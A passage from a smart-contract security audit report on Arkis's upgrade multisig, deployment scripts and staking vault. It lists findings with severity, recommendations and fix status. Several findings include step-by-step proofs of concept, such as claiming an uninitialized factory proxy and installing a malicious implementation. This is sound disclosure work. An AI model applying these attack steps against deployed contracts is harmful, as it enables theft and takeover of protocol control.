Description: The `VaultStaking.info` function returns all the informations about the vault, including data of variable size (e.g. markets and investors). In case the vault has a lot of markets and investors, the amount of gas required to retrieve the data may become too large to fit in a single transaction.

Recommendation: Consider returning only the number of markets and investors through `info`, and add functions to retrieve markets and investors based on index.

Arkis: Acknowledged.

Zigtur: Acknowledged.

3.5.4 Shares allocation functionalities allow reentrancy

Severity: Informational

Context: VaultStaking.sol#L64-L113

Description: The `allocate*` and `exit*` functions interact with external markets. These markets could be able to reenter the Vault contract while the state is not safe.

However, this is unlikely to occur as only the trusted curator can use these functions and this curator allocates to trusted markets.

Recommendation: Consider adding `nonReentrant` modifiers.

Arkis: Acknowledged.

Zigtur: Acknowledged.

Part II

December 2025 - February 2026 Security Review

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Arkis is a permissioned CeFi+DeFi prime brokerage protocol that allows institutional lenders and borrowers to facilitate the most capital-efficient credit transactions in crypto.

The Cantina team conducted two related security reviews of smart-contracts-raw.a0:

- **Review 1:** From Dec 15th to Jan 1st, on commit hash c2ed5d03. The team identified **29** issues.
- **Review 2:** From Feb 5th to Feb 19th, on commit hash 709ce87d. The team identified **34** issues.

Across both reviews, the team identified a total of **63** issues:

Issues Found (Combined)

Severity	Count	Fixed	Acknowledged
Critical Risk	1	1	0
High Risk	2	2	0
Medium Risk	16	13	3
Low Risk	15	13	2
Gas Optimizations	4	3	1
Informational	25	21	3
Total	**63**	**53**	**9**

2.1 Scope

The security reviews had the following components in scope for smart-contracts-raw.a0 (commit hashes 709ce87d and c2ed5d03):

```
contracts
├── interfaces
│   ├── diamond
│   │   └── IDiamondCut.sol
│   ├── multisig
│   │   ├── IBeaconUpgradeable.sol
│   │   ├── IProxyAdmin.sol
│   │   ├── ITransparentUpgradeableProxy.sol
│   │   └── IUpgradeMultisig.sol
│   └── vault
│       ├── IVaultInitializer.sol
│       └── IVaultStaking.sol
├── libraries
│   └── Errors.sol
├── multisig
│   ├── UpgradeMultisig.sol
│   └── libraries
│       ├── ReleaseExecutor.sol
│       └── ReleaseValidator.sol
└── vault
    ├── Vault.sol
    └── VaultStaking.sol
```

2.2 Cantina Managed Team Statement

The Cantina Managed team strongly recommends that the `deployv2` directory undergo a more thorough review and an additional round of security assessment. Owing to time constraints, the Cantina Managed team was unable to achieve the intended level of coverage.

3 Findings

3.1 Critical Risk

3.1.1 Shared nonce can get stuck after a reject

Severity: Critical Risk

Context: ReleaseManagementLibrary.sol#L194

Description: The multisig uses one global `nonce` counter for both releases and management requests.

- `submitRelease` writes `release.nonce = nonce`, then returns `newNonce = nonce + 1`.
- Management requests also use the same shared counter and each one is assigned `request.nonce` and then `newNonce = nonce + 1`.
- `lastExecutedNonce` only moves forward when an item is executed.

When a release is rejected (`rejectRelease`) or a management request is rejected/auto-rejected, the assigned nonce is already consumed but `lastExecutedNonce` does not move.

There is a strict check that the next item must be exactly `lastExecutedNonce + 1`. After any rejected item, that gap can never be filled, so future submissions fail forever and governance cannot continue.

```
function submitRelease(...) external returns (...) {
    release.nonce = nonce;      // consume current nonce
    newNonce = nonce + 1;       // move shared counter ahead
//...
}

function rejectRelease(...) external {
    // sets status rejected
    // but does not update lastExecutedNonce
}
```

```
function executeRelease(...) returns (...) {
    newLastExecutedNonce = release.nonce; // only on execute
}

if (release.nonce != lastExecutedNonce + 1) {
    revert ReleaseOutOfOrder(lastExecutedNonce + 1, release.nonce);
}
```

```
function submitManagementRequest(...) {
    request.nonce = nonce;      // same global counter for management requests
    newNonce = nonce + 1;
}

function execute(...) external {
    result.newLastExecutedNonce = request.nonce; // also only on success
}
```

Recommendation:

- When a release or management request is rejected, set `lastExecutedNonce` to the rejected nonce so execution can continue.
- Or change ordering so rejection does not burn an unfillable nonce.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.2 High Risk

3.2.1 Approver vote cannot move from approve to reject

Severity: High Risk

Context: ApprovalLibrary.sol#L97-L103

Description: `processManagementRequestRejection` blocks a user that already approved from rejecting the same request:

```
if (request.approvals[rejector]) {
    revert IUpgradeMultisig.CannotRejectAfterApproving();
}
```

If the user approved early and then changes mind, they are locked in their old choice. This can keep a request alive forever in mixed-vote states.

The current flow also marks a reject without clearing any prior approval from that same address, so there is no clean way to recover from a mistaken early approval.

Recommendation:

- Allow `processManagementRequestRejection` to accept a retraction-and-reject path.
- Before setting `request.rejections[rejector] = true`, clear `request.approvals[rejector]`.
- Keep counts in sync so the request can still move to a valid final state after vote changes.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.2.2 Management request feasibility is not revalidated at execution time

Severity: High Risk

Context: UpgradeMultisig.sol#L388

Description: The function `approveManagementRequest` from contract `UpgradeMultisig` may execute a management request based on data validated only at submission time.

For example, `submitChangeThresholdRequest` can validate that the requested threshold is non-zero and `<= getRoleMemberCount(APPROVER_ROLE)` at the moment of submission. However, the request can execute later after the approver set has changed. At execution time, there is no re-check that the new threshold is still feasible given the current approver count.

This creates a time-of-check/time-of-use gap where governance can set `threshold` above the number of existing approvers. Once that occurs, future management requests may never reach quorum, potentially bricking management operations unless there is a separate recovery path.

Recommendation: Consider to revalidate feasibility at execution time right before applying governance changes (e.g., ensure the requested threshold is `<= getRoleMemberCount(APPROVER_ROLE)` at the moment it is set). If the request is no longer feasible, consider to revert execution and keep the request in a non-executed state (or mark it rejected), so governance can submit a corrected request.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3 Medium Risk

3.3.1 `ChangeThreshold`/`RemoveApprover` can execute with stale safety checks

Severity: Medium Risk

Context: ManagementRequestLibrary.sol#L404-L406

Description: `ChangeThreshold` and `RemoveApprover` requests are checked only when submitted. During timelock, an approver can renounce as long as the current `threshold` is still safe. That can drop approver count. When the request finally executes, `_executeRequestAction` applies the stored request data directly:

- `threshold = request.newThreshold`.
- `_revokeRole(APPROVER_ROLE, request.targetApprover)`.

No fresh check is done then, so execution can set `threshold > currentApproverCount` or drop approvers past the new threshold.

Recommendation:

- Re-check approver count at execution for `ChangeThreshold` and `RemoveApprover` before applying state changes.
- Reject execution if the post-execution state would brick governance, otherwise allow.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.2 Excluded selectors are compared as raw strings, so names never match

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The deploy code builds selectors from the facet ABI, then filters with:

- deploy/helpers.ts#L384-L387.

`excludeSelectors` values are stored as function names like `supportsInterface` in configs:

- contracts.ts#L116-L118.
- contracts.ts#L126-L130.

Because only lowercase hex compare is done, the names never equal any `bytes4` selector, so exclusions are skipped. That means selectors that were meant to be excluded may still be added to the cut.

Recommendation:

- Convert each name in `excludeSelectors` to its selector before compare.
- Use a consistent format (either always function names or always selectors) in both config and runtime filtering.
- Also apply the same conversion in the second exclusion path in `helpers.ts` at:
  - helpers.ts#L451-L455.

Arkis: Fixed in commit eff234c2.

Cantina Managed: Fix verified.

3.3.3 Approver membership churn can invalidate prior votes and deadlock pending management requests

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Fix review commit eff234c_

Description: Management request quorum is computed against the live `APPROVER_ROLE` member set, not a per-request snapshot.

- Approval counting iterates current role members (`getRoleMemberCount/getRoleMember`) and only counts currently active approvers:
  ApprovalLibrary.sol#L49-L56
- Rejection counting does the same over the live member set:
  ApprovalLibrary.sol#L109-L116

This means a previously cast approval can be effectively erased for quorum if that approver later renounces/is removed from `APPROVER_ROLE`.

Renounce is only blocked while the pending request type is `ChangeThreshold` or `RemoveApprover`, so renounce remains allowed for many other pending request types (e.g. `ChangeOperator`):
UpgradeMultisig.sol#L310-L320

Rejectors cannot later approve (`CannotApproveAfterRejecting`):
ApprovalLibrary.sol#L42-L44

This can strand a request in `Pending` with `timelockStart == 0` (non-executable), while also blocking future governance flow:

- Execution requires timelock start (and timelock expiry):
  ManagementRequestLibrary.sol#L348-L355
- New management requests are blocked while one is pending:
  UpgradeMultisig.sol#L171-L173
- Releases are blocked while a management request is pending:
  ReleaseManagementLibrary.sol#L283-L285

Proof of Concept:

1. Configure multisig with 3 approvers (`A`, `B`, `C`) and `threshold = 2`.
2. `OPERATOR` submits a `ChangeOperator` management request `R`.
3. `A` calls `approveManagementRequest(R)`.
4. `B` calls `rejectManagementRequest(R)`.
5. `A` calls `renounceRole(APPROVER_ROLE, A)` (allowed for this pending request type).
6. `C` calls `approveManagementRequest(R)`.
7. `ManagementRequestTimelockStarted` is not emitted and `timelockStart` remains `0`, because live approvers are now `{B, C}` and only `C` is counted approved (`1 < 2`).
8. `B` cannot approve due to `CannotApproveAfterRejecting`.
9. `R` cannot reach execution and remains stuck pending; only threshold rejection can clear it:
   ApprovalLibrary.sol#L118-L127

Recommendation:

- Disallow `APPROVER_ROLE` renounce whenever **any** management request is pending (`pendingManagementRequestId != 0` and status is `Pending`), not only `ChangeThreshold` / `RemoveApprover`.
- If role revocation is ever exposed/admin-enabled, apply the same guard to approver revocation during pending management requests.

Arkis: Fixed in commit 6cdf34d1.

Cantina Managed: Fix verified.

3.3.4 `proxyAdmin` interface incompatibility may block upgrades

Severity: Medium Risk

Context: ReleaseExecutor.sol#L46-L60

Description: The function `executeProxyUpgrades` from contract `ReleaseExecutor` calls:

- `IProxyAdmin(proxyAdmin).upgrade(proxy, expectedImplementation)` when `upgrade.initData.length == 0`.
- `IProxyAdmin(proxyAdmin).upgradeAndCall(proxy, expectedImplementation, upgrade.initData)` otherwise.

This logic assumes that the deployed `ProxyAdmin` exposes both `upgrade` and `upgradeAndCall`.

However, in OpenZeppelin v5-style setups (and in other reduced-surface custom implementations), `ProxyAdmin` may only expose `upgradeAndCall` and no longer provide a standalone `upgrade` function. In such a configuration, calling `upgrade()` will revert.

As a result, any release that specifies an empty `initData` will revert during execution, effectively blocking upgrades unless `initData` is artificially populated.

Recommendation: Consider to remove the dependency on `upgrade` and always call `upgradeAndCall`, passing empty `initData` when no initialization is required.

This makes the upgrade flow compatible with both:

- `ProxyAdmin` implementations that expose only `upgradeAndCall`, and.
- Those that expose both functions,

While reducing version-coupling assumptions in the release execution logic.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.5 Diamond selector removals can be silently excluded from release payload

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Fix review commit 40605c2

Description: The diamond-cut collection logic in the deploy pipeline detects selectors that should be removed from a diamond but explicitly skips generating the corresponding remove-cut (`action: 2`).

Removal candidates are identified by diffing old on-chain selectors against the new facet set, but instead of producing a cut with `facetAddress = address(0)` and `action = 2`, the code logs a skip message and drops them (see helpers.ts#L501-L512).

No downstream step enforces completeness of the diamond diff. The release hash and submission both operate on the same incomplete payload, so submit/approve/execute all succeed. The `ReleaseExecutor.executeDiamondCuts` only processes the cuts present in the release data (see ReleaseExecutor.sol#L82-L95).

Post-execution validation via `_validateDiamondCut` only checks that submitted cuts were applied - it does not verify absence of stale selectors (see ReleaseExecutor.sol#L229-L258).

A release can therefore execute without intended selector removals, leaving legacy selectors callable on the diamond.

Proof of Concept:

1. Start from an existing diamond where selector `0xcccccccc` is currently routed to an old facet.
2. Prepare a new facet set that omits `0xcccccccc` (and includes at least one Add/Replace so the release is non-empty).
3. Run `deployV2` upgrade collection flow; observe log `[DIAMOND CUT COLLECTION] Skipping removal of 1 selectors for <diamond> (zero-address cuts disabled)`.
4. Inspect generated release JSON: no facet cut with `action: 2` for `0xcccccccc`.
5. Submit, approve, and execute the release normally through UpgradeMultisig.
6. Query diamond loupe `facetAddress(0xcccccccc)` - it still returns a non-zero legacy facet address, confirming removal did not occur.

Recommendation: Implement remove-cut generation in `deployV2/deploy/helpers.ts` by appending `{ facetAddress: '0x0000000000000000000000000000000000000000', action: 2, functionSelectors: selectorsToDelete }` when `selectorsToDelete.length > 0`. Add a fail-fast invariant in collection/release generation: if removals are detected but not represented in payload, throw and abort. Add regression tests covering remove-only and mixed add/replace/remove releases.

Arkis: Fixed in commit d84a412c.

Cantina Managed: Fix verified.

3.3.6 Collect-only mode can leave fresh `AgreementV2Factory` proxy uninitialized and claimable

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Fix review commit 40605c2

Description: In collect-only mode (`DEPLOY_V2_MODE=true`), fresh proxy deployment is still allowed via `deployAndVerify`, but factory initialization is explicitly skipped. Since the proxy constructor init data is empty, the proxy remains uninitialized and `AgreementV2Factory.initialize(address,address)` can be claimed by the first external caller, assigning owner/default-admin/risk-operator control.

Proxy is deployed without initialization calldata (see 0_factory.ts#L8-L13). 0_factory.ts#L8-L13

When `DEPLOY_V2_MODE=true`, `handleAlreadyUpToDate` unconditionally skips the initialization action (see 1_initialize.ts#L23-L26 and helpers.ts#L1018-L1025).

In `deployAndVerify`, when `deployment == null` (fresh deploy) the normal path runs and deploys a proxy (see helpers.ts#L675-L709).

`AgreementV2Factory.initialize` has no caller auth beyond `initializer`, assigning owner/admin to first caller. No later release primitive compensates for initial factory initialization in this path.

Note same for `AgreementFactory`.

Proof of Concept:

1. Run deployment with `DEPLOY_V2_MODE=true` on a context where `AgreementV2Factory` has no existing deployment record (fresh deploy/reset path).
2. `deployV2/deploy/agreementV2/0_factory.ts` deploys proxy; constructor `_data` is empty (`0x`), so no initializer executes.
3. `deployV2/deploy/agreementV2/1_initialize.ts` calls `handleAlreadyUpToDate`, which skips action entirely in `DEPLOY_V2_MODE`, leaving proxy uninitialized.
4. From any non-admin EOA, call `AgreementV2Factory(proxy).initialize(attacker, attackerCompliance)`.
5. Verify attacker now controls owner/default-admin and can dictate risk-operator/compliance initialization state.
6. Call `grantRole(PAUSER_ROLE, attacker)` and `pause()`.
7. Deploy malicious implementation and call `setImplementation(maliciousImplementation)`.

Recommendation: Make collect-only mode fail closed for fresh proxies: if `DEPLOY_V2_MODE==='true' && options.proxy && deployment==null`, revert instead of deploying proxy. Additionally, guarantee atomic initialization for any fresh proxy deployment (set proxy init calldata to encoded `initialize(...)` or force immediate init transaction), and add a post-deploy invariant check (`owner()!=address(0)` and expected admin/risk operator set) before proceeding.

Arkis: Fixed in commit d84a412c.

Cantina Managed: Fix verified.

3.3.7 Unbounded `timelockDuration` can brick `executeRelease` via arithmetic overflow

Severity: Medium Risk

Context: UpgradeMultisig.sol#L362-L386

Description: The function `submitChangeTimelockRequest` from contract `UpgradeMultisig` allows setting `timelockDuration` to any `uint256` value through the management request flow.

Later, `executeRelease` enforces the timelock by checking whether `block.timestamp < release.timelockStart + timelockDuration`. Since Solidity reverts on arithmetic overflow, configuring `timelockDuration` close to `type(uint256).max` can cause `release.timelockStart + timelockDuration` to overflow and revert.

While such a large duration is in effect, any release with a non-zero `timelockStart` may become impossible to execute because `executeRelease` would revert during the timelock check. This effectively bricks release execution until `timelockDuration` is changed again to a safe value.

Recommendation: Consider to bound `timelockDuration` to a reasonable maximum value that cannot overflow when added to `timelockStart` (e.g., require `_newTimelockDuration <= MAX_TIMELOCK_DURATION`), and/or implement the timelock check in a way that avoids overflow (e.g., compare using subtraction where safe, or explicitly handle the overflow case).

Additionally, consider to use a smaller primitive type (or otherwise constrain the domain) to reduce misconfiguration risk.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.8 Rejected management requests can still be approved and executed

Severity: Medium Risk

Context: UpgradeMultisig.sol#L388-L399

Description: The function `approveManagementRequest` from contract `UpgradeMultisig` prevents approving a request only when its status is `Status.Executed`, but it does not prevent approvals when the request status is `Status.Rejected`.

As a result, within the management request flow, a request that has been explicitly rejected (via `rejectManagementRequest`) is not final. The same `requestId` can later continue to accumulate approvals and may become executable once the approval threshold is reached.

This undermines the intended governance semantics where a rejection is expected to represent a veto/final outcome, and it can lead to unexpected execution of changes that signers considered rejected.

Recommendation: Consider to enforce finality for rejected requests by preventing further approvals and execution when `request.status == Status.Rejected` (e.g., revert in `approveManagementRequest` and in the execution path if the request is rejected).

If the intended design is to allow "unrejecting", consider to add an explicit "reopen" action with clear events and constraints, rather than allowing approvals to proceed implicitly after rejection.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.9 Diamond cut validation is incomplete and may allow releases that fail at execution time

Severity: Medium Risk

Context: ReleaseValidator.sol#L42-L68

Description: The function `_validateDiamondCuts` from contract `ReleaseValidator` performs basic structural checks for diamond upgrades (non-zero diamond address, non-empty cuts, non-zero facet address for `Add/Replace`, and non-empty selector arrays). However, several important constraints are not validated, which can allow a release to pass validation but later revert during execution when the diamond's `diamondCut` is invoked.

Notable gaps include:

- Out-of-range `FacetCutAction` values: Although `FacetCutAction` is defined with three expected values (`Add`, `Replace`, `Remove`), ABI decoding can still produce values outside this range. Without an explicit bounds check, malformed inputs can pass validation and revert at execution time when downstream logic assumes a valid enum.
- `Remove` cuts should require `facetAddress == address(0)`: Common EIP-2535-compatible implementations expect `facetAddress` to be zero for removals. Allowing non-zero addresses on `Remove` can lead to execution-time reverts.
- `init` / `initData` coherence: Diamond cut execution typically has constraints such as:
  - If `init == address(0)`, `initData` should be empty.

  - If `init != address(0)`, `init` should be a contract and `initData` should be a valid function call payload (at least 4 bytes). Without these checks, releases can be submitted that are structurally inconsistent and fail when executed.
- No verification that `diamond` is actually a diamond: The validation does not confirm that the provided address supports expected diamond interfaces (e.g., loupe). This can allow targeting a non-diamond contract address that will later revert or behave unexpectedly under a diamond cut.

Additionally, there are common diamond-cut "shape" constraints that are not enforced (and may be desirable depending on intended behavior), such as ensuring selectors are unique within the submitted batch and rejecting `bytes4(0)` selectors. Many implementation-specific semantic checks (e.g., Add selector must not exist, Replace selector must exist and differ, Remove selector must exist and not be immutable) typically require querying diamond state and may be out of scope for a pure validator, but the absence of these checks means execution-time failure remains possible even after passing validation.

Recommendation: Consider to expand validation to cover at least the structural constraints that can be checked without external calls:

- Reject out-of-range `FacetCutAction` values (explicit bounds check).
- Require `facetAddress == address(0)` when `action == Remove`.
- Enforce `init` / `initData` consistency rules (e.g., `(init == 0) == (initData.length == 0)`, and if `init != 0` then `initData.length >= 4` and `init` is a contract).

If you are open to non-`pure` validation, consider to also verify that `diamond` supports expected diamond interfaces (e.g., `IDiamondLoupe.facets()` via `try/catch`) and optionally enforce selector-level invariants using loupe state (uniqueness, existence, immutable checks), aligned with the specific diamond implementation you intend to support.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.10 Proxy upgrade validation is incomplete and can allow execution-time failure or unintended init behavior

Severity: Medium Risk

Context: ReleaseValidator.sol#L31-L40

Description: The function `_validateProxyUpgrades` from contract `ReleaseValidator` only checks that `proxy` and `newImplementation` are non-zero addresses.

This leaves several important constraints unchecked, which can allow a release to pass validation but later fail during execution or behave unexpectedly:

- `initData` shape for `upgradeAndCall`: if `initData` is non-empty but shorter than 4 bytes, it cannot represent ABI-encoded calldata (missing selector). This may revert at execution time or trigger fallback/receive behavior on the implementation, which is likely unintended for initialization.
- Target correctness checks: there is no validation that:
  - `proxy` is actually an EIP-1967 proxy (e.g., implementation slot is non-zero),
  - The proxy's current admin matches the expected `proxyAdmin`,
  - `newImplementation` is a contract (`code.length > 0`),
  - `newImplementation` is not equal to the current implementation (optional, but avoids no-op or misleading releases).

Because of these missing validations, a release can be approved and timelocked successfully but later revert when applying upgrades, or it can apply upgrades against an unexpected proxy/admin configuration.

Recommendation: Consider to extend validation to enforce basic structural correctness, for example:

- If `initData.length != 0`, require `initData.length >= 4`.
- Require `newImplementation.code.length > 0`.
- If feasible (even if it means making validation non-`pure`), consider to:

- Verify `proxy` is an EIP-1967 proxy by checking the implementation slot is non-zero,
- Verify the current proxy admin equals the expected `proxyAdmin`.

Optionally, consider to reject `newImplementation == currentImplementation` to avoid no-op upgrades being submitted.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.11 Release validation does not ensure upgrade targets are contracts

Severity: Medium Risk

Context: ReleaseValidator.sol#L24-L27

Description: The function `_validateBeaconUpgrades` from contract `ReleaseValidator` only checks that `beacon` and `newImplementation` are non-zero addresses.

No validation ensures that the provided addresses are actually contracts. In Ethereum, calls to EOAs generally succeed and return empty data, and writing upgrade-related pointers to non-contract addresses can result in upgrades that either do nothing or configure critical upgrade slots to point to an address without code.

As a result, a release can be successfully submitted, approved, and executed while applying no effective upgrade, or while setting an upgrade target (beacon / implementation) to a non-contract address, potentially breaking downstream proxy resolution and leaving the system in an unexpected state.

Additionally, the beacon target is not validated to behave like a beacon. A malformed or non-beacon contract (or EOA) may not expose a valid `implementation()` function, or may return an invalid address (including `address(0)`), which would cause execution-time failures or incorrect upgrade outcomes.

Recommendation: Consider to extend validation to ensure:

- `upgrades[i].beacon` is a contract (`code.length > 0`).
- `upgrades[i].newImplementation` is a contract (`code.length > 0`).
- The beacon behaves like a beacon (e.g., `IBeacon(beacon).implementation()` succeeds and returns a non-zero address), if compatible with the intended upgrade design.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.12 Operator revocation loop can skip members or revert due to set mutation

Severity: Medium Risk

Context: UpgradeMultisig.sol#L448-L461

Description: The function `_executeManagementRequest` from contract `UpgradeMultisig` handles `ManagementRequestType.ChangeOperator` by revoking all existing operators via a forward loop.

`AccessControlEnumerable` stores role members in an enumerable set. Revoking a role member mutates that set and can change indices (e.g., via swap-and-pop behavior). Iterating forwards while mutating the underlying set can therefore:

- Skip some operators (an element can be moved into an already-processed index),
- Or revert due to an out-of-bounds access if the set shrinks and indices no longer exist as expected.

With more than one operator present, this can prevent proper removal of all operators and may even revert, blocking the operator change request from executing successfully.

Recommendation: Consider to avoid iterating forward over a mutating enumerable set. Common safe patterns include:

- Iterate backwards: loop from `operatorCount` down to `1` and use index `i - 1`, or...

- Snapshot members first: copy all operator addresses into a memory array, then revoke using that snapshot.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.3.13 Pauser `AlreadyUpToDate` tolerance can mask total pause/unpause failure during releases

Severity: Medium Risk

Context: UpgradeMultisig.sol#L203-L227

Description: The function `_executeRelease` from contract `UpgradeMultisig` wraps `pauseAll()` and `unpauseAll()` in `try/catch` blocks and explicitly tolerates `AlreadyUpToDate` by calling `Errors.rethrowUnless(reason, AlreadyUpToDate.selector)`.

In `Pauser`, `pauseAll()` / `unpauseAll()` use an `anyPaused` / `anyUnpaused` flag and revert with `AlreadyUpToDate` when none of the targets successfully changed state. This revert reason is ambiguous: it can mean:

- The system was already fully paused/unpaused, **or**.
- The function attempted to pause/unpause every target but **all attempts failed** and nothing changed.

Because `_executeRelease` treats `AlreadyUpToDate` as an allowed exception, it may:

- Continue executing upgrades even if pausing failed across the board (upgrades executed while the system is still live), and/or...
- Complete the release while leaving the system paused if all unpause attempts failed.

Recommendation: Consider to make pause/unpause outcomes unambiguous and fail-safe. Options include:

- Adjust `Pauser` to differentiate "already in desired state" from "no target succeeded due to failures" (distinct errors or return values).
- Track whether at least one target was attempted and whether any succeeded, and revert if pausing/unpausing did not reach the intended safety condition.
- If upgrades are intended to run only under a guaranteed paused state, consider to revert the whole release when pausing or unpausing cannot be confirmed.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.3.14 `allocateShares` uses `previewMint` for accounting without reconciling to actual `mint` outcome

Severity: Medium Risk

Context: VaultStaking.sol#L94-L111

Description: The function `allocateShares` from contract `VaultStaking` computes `assets` using `IERC4626(market).previewMint(shares)` and immediately decrements `$.unallocatedAssets` by that amount. It then calls `IERC4626(market).mint(shares, address(this))` and overwrites `assets` with the returned value, but it does not reconcile `$.unallocatedAssets` against the actual assets spent according to the mint result.

If `previewMint(shares)` differs from the effective asset cost of `mint(shares, ...)` for a given market (e.g., due to rounding behavior, fees, or non-standard ERC4626 behavior), the contract's accounting can desynchronize:

- `$.unallocatedAssets` can be decremented by an amount that does not match the true asset movement,
- Allocations may become mis-accounted, potentially mispricing internal state,
- Assets can become stranded or appear missing/excess within the staking accounting model.

Recommendation: Consider to base the accounting update on the actual assets consumed by the mint operation (i.e., reconcile `$.unallocatedAssets` using the mint result), or enforce that only markets with strictly consistent `previewMint`/`mint` behavior are allowed (with explicit validation and documentation).

Arkis: Acknowledged.

Cantina Managed: Acknowledged.

3.3.15 Release timelock may never start after threshold changes, leaving release stuck

Severity: Medium Risk

Context: UpgradeMultisig.sol#L183-L200

Description: The function `executeRelease` from contract `UpgradeMultisig` requires `release.timelockStart != 0` and that the timelock period has elapsed (`block.timestamp >= release.timelockStart + timelockDuration`). However, `timelockStart` is only set inside `approveRelease` when the approval count reaches the threshold:

- `if (approvalCount >= threshold && release.timelockStart == 0) { release.timelockStart = block.timestamp; }`.

This means the timelock starts only as a side-effect of someone successfully calling `approveRelease()` at the moment the threshold condition becomes satisfied.

A stuck scenario exists when the governance configuration changes after approvals have already been collected. For example, if the threshold is lowered such that the release already has enough approvals "in principle", but all current approvers have already approved and therefore cannot call `approveRelease()` again (due to the `AlreadyApproved()` check), and any remaining accounts that could call `approveRelease()` are no longer approvers. In this situation:

- `approvalCount >= threshold` would be true,
- But `timelockStart` remains `0`,
- And `executeRelease()` will revert with `ReleaseNotReady()` indefinitely.

Recommendation: Consider to decouple starting the timelock from the act of casting a new approval. For example:

- Add an explicit function to "start timelock" once `approvalCount >= threshold` (callable by anyone or by approvers), or...
- Allow `approveRelease()` to be called again by existing approvers in a way that can trigger the timelock start without changing approval state, or...
- Recompute and set `timelockStart` inside `executeRelease()` when `approvalCount >= threshold` and `timelockStart == 0` (if that matches intended lifecycle).

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.3.16 Governance actions are not sequenced, allowing unsafe execution order of releases and management requests

Severity: Medium Risk

Context: UpgradeMultisig.sol#L23

Description: The contract `UpgradeMultisig` uses a monotonically increasing `nonce` to generate unique identifiers, but it does not enforce any ordering constraints on the lifecycle of releases or management requests.

As a result, multiple releases (or multiple management requests) can coexist and be executed in an arbitrary order, even if they were intended to be executed sequentially or if their safety depends on a specific ordering.

For management requests, unsafe ordering can be particularly problematic. For example, a set of planned requests such as ”add approver”, ”remove approver”, and ”change threshold” can be executed in a harmful order and end up producing an infeasible governance configuration (e.g., setting a threshold that cannot be reached with the remaining approvers), potentially bricking further governance operations.

Recommendation: Consider to introduce explicit sequencing constraints for releases and/or management requests, such as:

- Enforcing only one active (pending) management request at a time (serialization), and/or...
- Encoding dependencies or an expected execution order (e.g., store a `sequenceNumber` and require execution in order), and/or...
- Adding execution-time feasibility checks for governance-changing operations to ensure the resulting configuration remains valid.

If arbitrary ordering is intended by design, consider to document the operational requirement to avoid submitting multiple interdependent actions concurrently.

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4 Low Risk

3.4.1 Compromised operator key can grief the governance operations

Severity: Low Risk

Context: UpgradeMultisig.sol#L71

Description: The operator is the sole role allowed to submit releases and management requests. If the operator is an EOA and the key is compromised, an attacker can continuously submit arbitrary releases/management requests, forcing approvers/security officers to react operationally and potentially keeping governance in a degraded state.

While the attacker cannot directly approve requests/releases (approver-only) and cannot directly bypass timelock/veto (security officer), a compromised operator can still:

- Spam submissions to create constant review and coordination overhead for approvers.
- Abuse the single-flight design (only one pending release or management request at a time) to slow down legitimate governance activity.
- Force frequent auto-cancellation of a pending release by repeatedly submitting management requests (auto-rejects a pending, pre-timelock release).

Recommendation:

- Use a multisig/hardware-backed key for the operator account.
- Define and document operational playbooks for compromised operator scenarios (including expected response order and recovery timing).

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.4.2 Ownable-only ownership migration and one-request-at-a-time flow

Severity: Low Risk

Context: UpgradeMultisig.sol#L318-L325

Description: Management requests can only do `Ownable.transferOwnership` on a `targetContract`:

- The request types include `TransferOwnership`, but there is no request type for admin-style migrations like `changeAdmin`.
- Execution is hardcoded to `Ownable(targetContract).transferOwnership(newOwner)`.

In an emergency, this creates two issues:

- Only contracts with OZ `Ownable.transferOwnership` can be moved with this flow.
- The governance flow is one-at-a-time: `submitManagementRequest` refuses new requests while one is already pending, so moving many contracts takes many rounds.

This raises risk during emergency handoffs when many contracts need migration at once.

Recommendation:

- Add request types for non-Ownable admin models (for example proxy admin or role-based admin change).
- Add an emergency migration playbook for moving multiple contracts quickly and safely.

Arkis: Acknowledged. We prefer to keep one by one, with the 1h min timelock it will give us time to manage other contracts if anything happens.

Cantina Managed: Acknowledged.

3.4.3 Proxy `upgradeAndCall` cannot send ETH during release execution

Severity: Low Risk

Context: ReleaseExecutor.sol#L55-L59

Description: When a proxy upgrade includes `initData`, the multisig calls:

```
IProxyAdmin.upgradeAndCall(proxy, expectedImplementation, upgrade.initData)
```

